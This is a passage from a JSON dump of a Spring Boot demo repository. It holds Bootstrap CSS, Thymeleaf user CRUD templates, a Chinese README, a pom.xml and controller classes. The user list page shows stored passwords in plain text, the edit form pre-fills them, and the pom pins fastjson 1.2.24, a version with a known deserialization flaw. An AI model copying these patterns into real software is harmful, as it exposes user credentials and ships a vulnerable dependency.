\";\n}\n.clearfix:after,\n.dl-horizontal dd:after,\n.container:after,\n.container-fluid:after,\n.row:after,\n.form-horizontal .form-group:after,\n.btn-toolbar:after,\n.btn-group-vertical > .btn-group:after,\n.nav:after,\n.navbar:after,\n.navbar-header:after,\n.navbar-collapse:after,\n.pager:after,\n.panel-body:after,\n.modal-header:after,\n.modal-footer:after {\n  clear: both;\n}\n.center-block {\n  display: block;\n  margin-right: auto;\n  margin-left: auto;\n}\n.pull-right {\n  float: right !important;\n}\n.pull-left {\n  float: left !important;\n}\n.hide {\n  display: none !important;\n}\n.show {\n  display: block !important;\n}\n.invisible {\n  visibility: hidden;\n}\n.text-hide {\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n}\n.hidden {\n  display: none !important;\n}\n.affix {\n  position: fixed;\n}\n@-ms-viewport {\n  width: device-width;\n}\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n  display: none !important;\n}\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n  display: none !important;\n}\n@media (max-width: 767px) {\n  .visible-xs {\n    display: block !important;\n  }\n  table.visible-xs {\n    display: table !important;\n  }\n  tr.visible-xs {\n    display: table-row !important;\n  }\n  th.visible-xs,\n  td.visible-xs {\n    display: table-cell !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-block {\n    display: block !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-inline {\n    display: inline !important;\n  }\n}\n@media (max-width: 767px) {\n  .visible-xs-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm {\n    display: block !important;\n  }\n  table.visible-sm {\n    display: table !important;\n  }\n  tr.visible-sm {\n    display: table-row !important;\n  }\n  th.visible-sm,\n  td.visible-sm {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-block {\n    display: block !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .visible-sm-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md {\n    display: block !important;\n  }\n  table.visible-md {\n    display: table !important;\n  }\n  tr.visible-md {\n    display: table-row !important;\n  }\n  th.visible-md,\n  td.visible-md {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-block {\n    display: block !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .visible-md-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg {\n    display: block !important;\n  }\n  table.visible-lg {\n    display: table !important;\n  }\n  tr.visible-lg {\n    display: table-row !important;\n  }\n  th.visible-lg,\n  td.visible-lg {\n    display: table-cell !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-block {\n    display: block !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-inline {\n    display: inline !important;\n  }\n}\n@media (min-width: 1200px) {\n  .visible-lg-inline-block {\n    display: inline-block !important;\n  }\n}\n@media (max-width: 767px) {\n  .hidden-xs {\n    display: none !important;\n  }\n}\n@media (min-width: 768px) and (max-width: 991px) {\n  .hidden-sm {\n    display: none !important;\n  }\n}\n@media (min-width: 992px) and (max-width: 1199px) {\n  .hidden-md {\n    display: none !important;\n  }\n}\n@media (min-width: 1200px) {\n  .hidden-lg {\n    display: none !important;\n  }\n}\n.visible-print {\n  display: none !important;\n}\n@media print {\n  .visible-print {\n    display: block !important;\n  }\n  table.visible-print {\n    display: table !important;\n  }\n  tr.visible-print {\n    display: table-row !important;\n  }\n  th.visible-print,\n  td.visible-print {\n    display: table-cell !important;\n  }\n}\n.visible-print-block {\n  display: none !important;\n}\n@media print {\n  .visible-print-block {\n    display: block !important;\n  }\n}\n.visible-print-inline {\n  display: none !important;\n}\n@media print {\n  .visible-print-inline {\n    display: inline !important;\n  }\n}\n.visible-print-inline-block {\n  display: none !important;\n}\n@media print {\n  .visible-print-inline-block {\n    display: inline-block !important;\n  }\n}\n@media print {\n  .hidden-print {\n    display: none !important;\n  }\n}\n/*# sourceMappingURL=bootstrap.css.map */\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/resources/templates/hello.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"/>\n    <title>Hello Thymeleaf!</title>\n</head>\n<body>\n    <p th:text=\"'Hello, ' + ${name} + '!'\" />\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/resources/templates/user/list.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"/>\n    <title>userList</title>\n    <link rel=\"stylesheet\" th:href=\"@{/css/bootstrap.css}\"></link>\n</head>\n<body class=\"container\">\n<br/>\n<h1>用户列表</h1>\n<br/><br/>\n<div class=\"with:80%\">\n    <table class=\"table table-hover\">\n        <thead>\n        <tr>\n            <th>#</th>\n            <th>model.User Name</th>\n            <th>Password</th>\n            <th>Age</th>\n            <th>Edit</th>\n            <th>Delete</th>\n        </tr>\n        </thead>\n        <tbody>\n        <tr  th:each=\"user : ${users}\">\n            <th scope=\"row\" th:text=\"${user.id}\">1</th>\n            <td th:text=\"${user.userName}\">neo</td>\n            <td th:text=\"${user.password}\">Otto</td>\n            <td th:text=\"${user.age}\">6</td>\n            <td><a th:href=\"@{/toEdit(id=${user.id})}\">edit</a></td>\n            <td><a th:href=\"@{/delete(id=${user.id})}\">delete</a></td>\n        </tr>\n        </tbody>\n    </table>\n</div>\n<div class=\"form-group\">\n    <div class=\"col-sm-2 control-label\">\n        <a href=\"/toAdd\" th:href=\"@{/toAdd}\" class=\"btn btn-info\">add</a>\n    </div>\n</div>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/resources/templates/user/userAdd.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"/>\n    <title>user</title>\n    <link rel=\"stylesheet\" th:href=\"@{/css/bootstrap.css}\"></link>\n</head>\n<body class=\"container\">\n<br/>\n<h1>添加用户</h1>\n<br/><br/>\n<div class=\"with:80%\">\n    <form class=\"form-horizontal\"   th:action=\"@{/add}\"  method=\"post\">\n        <div class=\"form-group\">\n            <label for=\"userName\" class=\"col-sm-2 control-label\">userName</label>\n            <div class=\"col-sm-10\">\n                <input type=\"text\" class=\"form-control\" name=\"userName\"  id=\"userName\" placeholder=\"userName\"/>\n            </div>\n        </div>\n        <div class=\"form-group\">\n            <label for=\"password\" class=\"col-sm-2 control-label\" >Password</label>\n            <div class=\"col-sm-10\">\n                <input type=\"password\" class=\"form-control\" name=\"password\" id=\"password\" placeholder=\"Password\"/>\n            </div>\n        </div>\n        <div class=\"form-group\">\n            <label for=\"age\" class=\"col-sm-2 control-label\">age</label>\n            <div class=\"col-sm-10\">\n                <input type=\"text\" class=\"form-control\" name=\"age\"  id=\"age\" placeholder=\"age\"/>\n            </div>\n        </div>\n        <div class=\"form-group\">\n            <div class=\"col-sm-offset-2 col-sm-10\">\n                <input type=\"submit\" value=\"Submit\" class=\"btn btn-info\" />\n                &nbsp; &nbsp; &nbsp;\n                <input type=\"reset\" value=\"Reset\" class=\"btn btn-info\" />\n            </div>\n\n        </div>\n    </form>\n</div>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jpa_thymeleaf_curd/src/main/resources/templates/user/userEdit.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\"/>\n    <title>user</title>\n    <link rel=\"stylesheet\" th:href=\"@{/css/bootstrap.css}\"></link>\n</head>\n<body class=\"container\">\n<br/>\n<h1>修改用户</h1>\n<br/><br/>\n<div class=\"with:80%\">\n    <form class=\"form-horizontal\"   th:action=\"@{/edit}\" th:object=\"${user}\"  method=\"post\">\n        <input type=\"hidden\" name=\"id\" th:value=\"*{id}\" />\n        <div class=\"form-group\">\n            <label for=\"userName\" class=\"col-sm-2 control-label\">userName</label>\n            <div class=\"col-sm-10\">\n                <input type=\"text\" class=\"form-control\" name=\"userName\"  id=\"userName\" th:value=\"*{userName}\" placeholder=\"userName\"/>\n            </div>\n        </div>\n        <div class=\"form-group\">\n            <label for=\"password\" class=\"col-sm-2 control-label\" >Password</label>\n            <div class=\"col-sm-10\">\n                <input type=\"password\" class=\"form-control\" name=\"password\" id=\"password\"  th:value=\"*{password}\" placeholder=\"Password\"/>\n            </div>\n        </div>\n        <div class=\"form-group\">\n            <label for=\"age\" class=\"col-sm-2 control-label\">age</label>\n            <div class=\"col-sm-10\">\n                <input type=\"text\" class=\"form-control\" name=\"age\"  id=\"age\" th:value=\"*{age}\" placeholder=\"age\"/>\n            </div>\n        </div>\n        <div class=\"form-group\">\n            <div class=\"col-sm-offset-2 col-sm-10\">\n                <input type=\"submit\" value=\"Submit\" class=\"btn btn-info\" />\n                &nbsp; &nbsp; &nbsp;\n                <a href=\"/toAdd\" th:href=\"@{/list}\" class=\"btn btn-info\">Back</a>\n            </div>\n\n        </div>\n    </form>\n</div>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/README.md",
    "content": "# springboot_jsp\n\n#### 项目介绍\n本项目在springboot基础上整合jsp，并且能够加载到外部的js和css，网上搜索很多都没有解决这个问题。\n\n#### 软件架构\n软件架构说明\nspringboot+mybatis+mysql+jquery easyui+bootstrap\n\n#### 安装教程\n\n1. 安装jdk1.8\n2. \n3. xxxx\n\n#### 使用说明\n\n开发环境\n系统=windows 10 中文\n硬盘=100G\n内存=16G\n\n开发工具版本\njdk=1.8.0_171\neclipse=4.7.3\nmysql=5.7\ntomcat=7.0.32\nmybatis.generator=1.3.5\npowerDesigner=16\n\nJAVA后台开发组件版本\nspringboot=1.5.9.RELEASE\nlombok=1.18.0\nmybatis=1.3.2\nfastjson=1.2.6\nquartz=2.2.1\njunit=4.4.7\n\nweb前台开发组件版本\njquery=1.10.2\nbootstrap=3.1.0\ndataTables=1.10.0-dev\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_jsp</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\n\t<properties>\n\t\t<encoding>UTF-8</encoding>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n\t\t<java.version>1.8</java.version>\n\t\t<maven.compiler.source>${java.version}</maven.compiler.source>\n\t\t<maven.compiler.target>${java.version}</maven.compiler.target>\n<!--\t\t<spring-boot.version>1.5.9.RELEASE</spring-boot.version>-->\n\t\t<lombok.version>1.18.0</lombok.version>\n\t</properties>\n\t\n\t<dependencyManagement>\n\t\t<dependencies>\n\t\t\t<dependency>\n\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t<artifactId>spring-boot-dependencies</artifactId>\n<!--\t\t\t\t<version>${spring-boot.version}</version>-->\n\t\t\t\t<version>2.5.15</version>\n\t\t\t\t<type>pom</type>\n\t\t\t\t<scope>import</scope>\n\t\t\t</dependency>\n\t\t</dependencies>\n\t</dependencyManagement>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-data-redis</artifactId>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-jdbc</artifactId>\n\t\t</dependency>\n\t\t<!-- Spring Boot Web 依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t</dependency>\n\t\t<!-- Spring Boot Mybatis 依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>org.mybatis.spring.boot</groupId>\n\t\t\t<artifactId>mybatis-spring-boot-starter</artifactId>\n\t\t\t<version>1.3.2</version>\n\t\t</dependency>\n\t\t<!-- 分页 -->\n\t\t<dependency>\n\t\t\t<groupId>com.github.pagehelper</groupId>\n\t\t\t<artifactId>pagehelper</artifactId>\n\t\t\t<version>4.0.0</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<scope>runtime</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.projectlombok</groupId>\n\t\t\t<artifactId>lombok</artifactId>\n            <version>1.18.38</version>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-test</artifactId>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<!-- 数据库连接池 -->\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>1.0.5</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>1.2.24</version>\n\t\t</dependency>\n\t\t<!-- 添加oracle jdbc driver -->\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>com.oracle</groupId> -->\n\t\t<!-- <artifactId>ojdbc6</artifactId> -->\n\t\t<!-- <version>11.2.0.1.0</version> -->\n\t\t<!-- <scope>runtime</scope> -->\n\t\t<!-- </dependency> -->\n\n\t\t<!-- tomcat支持 -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-tomcat</artifactId>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.tomcat.embed</groupId>\n\t\t\t<artifactId>tomcat-embed-jasper</artifactId>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t<artifactId>spring-boot-starter-web</artifactId>\n\t\t\t<exclusions>\n\t\t\t\t<exclusion>\n\t\t\t\t\t<groupId>org.springframework.boot</groupId>\n\t\t\t\t\t<artifactId>spring-boot-starter-tomcat</artifactId>\n\t\t\t\t</exclusion>\n\t\t\t</exclusions>\n\t\t</dependency>\n\t\t<!-- servlet依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<!-- 添加JSTL标签 -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>jstl</artifactId>\n\t\t</dependency>\n\n\t\t<!--httpclient -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.httpcomponents</groupId>\n\t\t\t<artifactId>httpclient</artifactId>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-io</groupId>\n\t\t\t<artifactId>commons-io</artifactId>\n\t\t\t<version>2.4</version>\n\t\t</dependency>\n\t\t<!--工具类依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>com.google.code.gson</groupId>\n\t\t\t<artifactId>gson</artifactId>\n\t\t</dependency>\n\t\t<!--Google 集合框架依赖 -->\n\t\t<dependency>\n\t\t\t<groupId>com.google.guava</groupId>\n\t\t\t<artifactId>guava</artifactId>\n\t\t\t<version>19.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.thrift</groupId>\n\t\t\t<artifactId>libthrift</artifactId>\n\t\t\t<version>0.10.0</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-pool2</artifactId>\n\t\t</dependency>\n\t\t<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.7</version>\n\t\t</dependency>\n\t\t<!-- http 工具 -->\n\t\t<dependency>\n\t\t\t<groupId>com.squareup.okhttp3</groupId>\n\t\t\t<artifactId>okhttp</artifactId>\n\t\t\t<version>3.3.1</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.google.protobuf</groupId>\n\t\t\t<artifactId>protobuf-java</artifactId>\n\t\t\t<version>3.2.0</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>com.burgstaller</groupId>\n\t\t\t<artifactId>okhttp-digest</artifactId>\n\t\t\t<version>1.15</version>\n\t\t</dependency>\n\n\t\t<!-- spring定时任务 -->\n\t\t<dependency>\n\t\t\t<groupId>org.quartz-scheduler</groupId>\n\t\t\t<artifactId>quartz</artifactId>\n\t\t\t<version>2.2.1</version>\n\t\t</dependency>\n\t\t<!-- 该依赖必加，里面有sping对schedule的支持 -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context-support</artifactId>\n\t\t</dependency>\n\t\t<!-- junit测试 -->\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.7</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t</dependencies>\n\n\t<build>\n\t\t<finalName>boiler</finalName>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t\t<!-- <plugin> -->\n\t\t\t<!-- <groupId>org.springframework.boot</groupId> -->\n\t\t\t<!-- <artifactId>spring-boot-maven-plugin</artifactId> -->\n\t\t\t<!-- <executions> -->\n\t\t\t<!-- <execution> -->\n\t\t\t<!-- <id>repackage</id> -->\n\t\t\t<!-- <phase>package</phase> -->\n\t\t\t<!-- <goals> -->\n\t\t\t<!-- <goal>repackage</goal> -->\n\t\t\t<!-- </goals> -->\n\t\t\t<!-- <configuration> -->\n\t\t\t<!-- <mainClass>cn.hege.DcsApplication</mainClass> -->\n\t\t\t<!-- <layout>JAR</layout> -->\n\t\t\t<!-- </configuration> -->\n\t\t\t<!-- </execution> -->\n\t\t\t<!-- </executions> -->\n\t\t\t<!-- </plugin> -->\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-war-plugin</artifactId>\n\t\t\t\t<configuration>\n\t\t\t\t\t<failOnMissingWebXml>false</failOnMissingWebXml>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n\n\t<repositories>\n\t\t<repository>\n\t\t\t<id>spring-snapshots</id>\n\t\t\t<name>Spring Snapshots</name>\n\t\t\t<url>https://repo.spring.io/snapshot</url>\n\t\t\t<snapshots>\n\t\t\t\t<enabled>true</enabled>\n\t\t\t</snapshots>\n\t\t</repository>\n\t\t<repository>\n\t\t\t<id>spring-milestones</id>\n\t\t\t<name>Spring Milestones</name>\n\t\t\t<url>https://repo.spring.io/milestone</url>\n\t\t\t<snapshots>\n\t\t\t\t<enabled>false</enabled>\n\t\t\t</snapshots>\n\t\t</repository>\n\t</repositories>\n\n\t<pluginRepositories>\n\t\t<pluginRepository>\n\t\t\t<id>spring-snapshots</id>\n\t\t\t<name>Spring Snapshots</name>\n\t\t\t<url>https://repo.spring.io/snapshot</url>\n\t\t\t<snapshots>\n\t\t\t\t<enabled>true</enabled>\n\t\t\t</snapshots>\n\t\t</pluginRepository>\n\t\t<pluginRepository>\n\t\t\t<id>spring-milestones</id>\n\t\t\t<name>Spring Milestones</name>\n\t\t\t<url>https://repo.spring.io/milestone</url>\n\t\t\t<snapshots>\n\t\t\t\t<enabled>false</enabled>\n\t\t\t</snapshots>\n\t\t</pluginRepository>\n\t</pluginRepositories>\n\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/AppApplication.java",
    "content": "package com.jun.plugin;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.boot.builder.SpringApplicationBuilder;\nimport org.springframework.boot.web.servlet.support.SpringBootServletInitializer;\nimport org.springframework.context.annotation.ComponentScan;\n\n@SpringBootApplication\n@ComponentScan(value = \"com.jun.plugin\")\n// @EnableTransactionManagement // 开启事务管理\n@MapperScan(\"com.**.dao\")\npublic class AppApplication extends SpringBootServletInitializer {\n\n\t@Override\n\tprotected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {\n\t\treturn builder.sources(AppApplication.class);\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tnew SpringApplicationBuilder(AppApplication.class).run(args);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/api/TestController.java",
    "content": "package com.jun.plugin.api;\n\nimport java.util.UUID;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.HttpEntity;\nimport org.springframework.http.HttpHeaders;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.util.LinkedMultiValueMap;\nimport org.springframework.util.MultiValueMap;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport com.jun.plugin.common.BaseController;\nimport com.jun.plugin.entity.Header;\nimport com.jun.plugin.entity.User;\nimport com.jun.plugin.service.TestService;\nimport com.jun.plugin.util.MsgUtil;\n\nimport lombok.extern.slf4j.Slf4j;\n\n/**\n * 框架测试类\n * @ClassName: TestController\n * @Description:\n * @author: renkai721\n * @date: 2018年6月25日 下午1:32:32\n */\n@Controller\n@RequestMapping(\"/test\")\n@Slf4j\npublic class TestController extends BaseController {\n\t@Autowired\n\tTestService testService;\n\n\t@RequestMapping(value = \"/login\", method = RequestMethod.GET)\n\tpublic ModelAndView login() {\n\t\tSystem.out.println(\"==========访问成功==\");\n\t\tlog.info(\"==========访问成功==\");\n\t\tModelAndView mav = new ModelAndView(\"index\");\n\t\tmav.addObject(\"user\", \"和格\");\n\t\tmav.addObject(\"age\", 16);\n\t\treturn mav;\n\t}\n\t/**\n\t * 测试请求和数据库连接\n\t * @author: renkai721\n\t * @date: 2018年6月25日 下午1:32:48\n\t * @Title: t\n\t * @Description:\n\t * @param userId\n\t * @return\n\t */\n\t@ResponseBody\n\t@GetMapping(value = \"/t/{userId}\")\n\tpublic String t(@PathVariable(\"userId\") String userId) {\n\t\tif (\"1\".equals(userId)) {\n\t\t\tuserId = \"201712111427160042\";\n\t\t}\n\t\tSystem.out.println(\"用户id=\" + userId + \"，登录成功！\");\n\t\tlog.info(\"用户id=\" + userId + \"，登录成功！\");\n//\t\tBkSysLog bkSysLog = testService.selectByPrimaryKey(userId);\n\t\tHeader header = new Header();\n\t\theader.setMsg_type(\"1\");\n\t\theader.setData_type(2+\"\");\n\t\treturn MsgUtil.outJSON(header, null);\n\t}\n\t/**\n\t * 调用REST接口DEMO，待测试\n\t * @author: renkai721\n\t * @date: 2018年6月25日 上午9:29:00\n\t * @Title: RestTem\n\t * @Description:\n\t * @param method\n\t * @return\n\t */\n\t@RequestMapping(\"/restTest\")\n\t@ResponseBody\n\tpublic User restTest(String method) {\n\t\tUser user = null;\n\t\t// 查找,查看\n\t\tif (\"get\".equals(method)) {\n\t\t\tuser = restTemplate.getForObject(\"http://localhost:8080/tao-manager-web/get/{id}\", User.class, \"呜呜呜呜\");\n\t\t\t// getForEntity与getForObject的区别是可以获取返回值和状态、头等信息\n\t\t\tResponseEntity<User> re = restTemplate.getForEntity(\"http://localhost:8080/tao-manager-web/get/{id}\",\n\t\t\t\t\tUser.class, \"呜呜呜呜\");\n\t\t\tSystem.out.println(re.getStatusCode());\n\t\t\tSystem.out.println(re.getBody().getUsername());\n\t\t\t// 新增,创建\n\t\t} else if (\"post\".equals(method)) {\n\t\t\tHttpHeaders headers = new HttpHeaders();\n\t\t\theaders.add(\"X-Auth-Token\", UUID.randomUUID().toString());\n\t\t\tMultiValueMap<String, String> postParameters = new LinkedMultiValueMap<String, String>();\n\t\t\tpostParameters.add(\"id\", \"啊啊啊\");\n\t\t\tpostParameters.add(\"username\", \"部版本\");\n\t\t\tHttpEntity<MultiValueMap<String, String>> requestEntity = new HttpEntity<MultiValueMap<String, String>>(\n\t\t\t\t\tpostParameters, headers);\n\t\t\tuser = restTemplate.postForObject(\"http://localhost:8080/tao-manager-web/post/aaa\", requestEntity,\n\t\t\t\t\tUser.class);\n\t\t\t// 删除\n\t\t} else if (\"delete\".equals(method)) {\n\t\t\trestTemplate.delete(\"http://localhost:8080/tao-manager-web/delete/{id}\", \"aaa\");\n\t\t\t// 修改,更新或创建\n\t\t} else if (\"put\".equals(method)) {\n\t\t\trestTemplate.put(\"http://localhost:8080/tao-manager-web/put/{id}\", null, \"bbb\");\n\t\t}\n\t\treturn user;\n\t}\n\t/**\n\t * redis DEMO\n\t * @author: renkai721\n\t * @date: 2018年6月25日 下午1:33:23\n\t * @Title: sredis\n\t * @Description:\n\t * @return\n\t */\n//\t@ResponseBody\n//\t@GetMapping(value = \"/sredis\")\n//\tpublic String sredis() {\n//\t\tstringRedisTemplate.opsForHash().put(\"xingming\", \"1\", \"zhangsan\");\n//\t\tSystem.out.println(\"保存redis,xingming\");\n//\t\tstringRedisTemplate.opsForHash().get(\"xingming\", \"1\");\n//\t\tSystem.out.println(\"读取redis,xingming=\" + String.valueOf(stringRedisTemplate.opsForHash().get(\"xingming\", \"1\")));\n//\t\tstringRedisTemplate.opsForHash().delete(\"xingming\", \"1\");\n//\t\tSystem.out.println(\"删除redis,xingming\");\n//\t\tstringRedisTemplate.opsForHash().put(\"xingming\", \"1\", \"李四\");\n//\t\tSystem.out.println(\"保存redis,xingming\");\n//\t\tstringRedisTemplate.opsForHash().get(\"xingming\", \"1\");\n//\t\tSystem.out.println(\"读取redis,xingming=\" + String.valueOf(stringRedisTemplate.opsForHash().get(\"xingming\", \"1\")));\n//\t\treturn \"success\";\n//\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/java/com/jun/plugin/common/BaseController.java",
    "content": "package com.jun.plugin.common;\n\nimport java.io.BufferedReader;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.OutputStream;\nimport java.io.PrintWriter;\nimport java.io.StringWriter;\nimport java.util.Base64;\nimport java.util.Date;\n\nimport javax.servlet.http.HttpServletRequest;\n\nimport org.apache.commons.lang3.time.DateFormatUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.client.RestTemplate;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.serializer.PascalNameFilter;\nimport com.google.gson.Gson;\nimport com.jun.plugin.util.MsgUtil;\n\nimport lombok.extern.slf4j.Slf4j;\nimport okhttp3.OkHttpClient;\n\n/**\n * @ClassName: AbstractGatServer\n * @Description:\n * @author: renkai721\n * @date: 2018年6月25日 下午5:28:11\n */\n@Slf4j\npublic abstract class BaseController {\n\t@Autowired\n\tpublic OkHttpClient okHttpClient;\n\t@Autowired\n\tpublic Gson gson;\n//\t@Autowired\n//\tpublic StringRedisTemplate stringRedisTemplate;\n\t@Autowired\n\tpublic RestTemplate restTemplate;\n\n\tpublic String parseRequest(HttpServletRequest request) {\n\t\tStringBuffer stringBuffer = new StringBuffer();\n\t\tString line = null;\n\t\ttry {\n\t\t\tBufferedReader reader = request.getReader();\n\t\t\twhile ((line = reader.readLine()) != null) {\n\t\t\t\tstringBuffer.append(line);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\tlog.error(\"请求流解析出错\");\n\t\t}\n\t\tString postString = stringBuffer.toString();\n\t\treturn postString;\n\t}\n\t/**\n\t * 封装ResponseStatusDcs_s对象JSON\n\t * @author: renkai721\n\t * @date: 2018年7月3日 下午2:27:59\n\t * @Title: grss\n\t * @Description:\n\t * @param rsds\n\t * @return\n\t */\n\tpublic static String grss(Object obj) {\n\t\treturn JSON.toJSONString(obj, new 